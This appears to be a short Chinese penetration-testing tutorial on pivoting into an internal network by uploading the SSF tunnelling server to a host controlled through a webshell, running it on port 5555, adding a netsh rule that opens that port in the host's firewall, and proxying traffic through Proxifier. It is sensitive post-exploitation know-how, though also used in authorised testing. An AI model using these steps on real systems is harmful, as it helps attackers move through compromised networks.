SSF+Proxifier正向代理内网流量

上文说到利用SSF反向代理（SSF+Proxifier反向代理内网流量），这里我们讲讲正向代理方法

首先准备：
上传ssfd.exe 以及certs目录。

然后在该ssfd的目录新建certs目录。然后进入certs目录，上传证书等文件

上传完成，再新建一个trusted目录

接着进入trusted目录，上传ca.crt文件。

Webshell

执行ssfd.exe -p 5555

公网服务器

执行 ssf.exe -D 9999 -p 5555 shell的IP地址（这里说的是他外网IP，非内网IP，可通过ping 网址得到的IP）

重要说明

如果无法连接上，那么我们需要给Webshell的防火墙增加一个例外端口。

netsh advfirewall firewall add rule name=”ssf2″ dir=in action=allow protocol=TCP localport=5555

Proxifier

添加后，链接即可。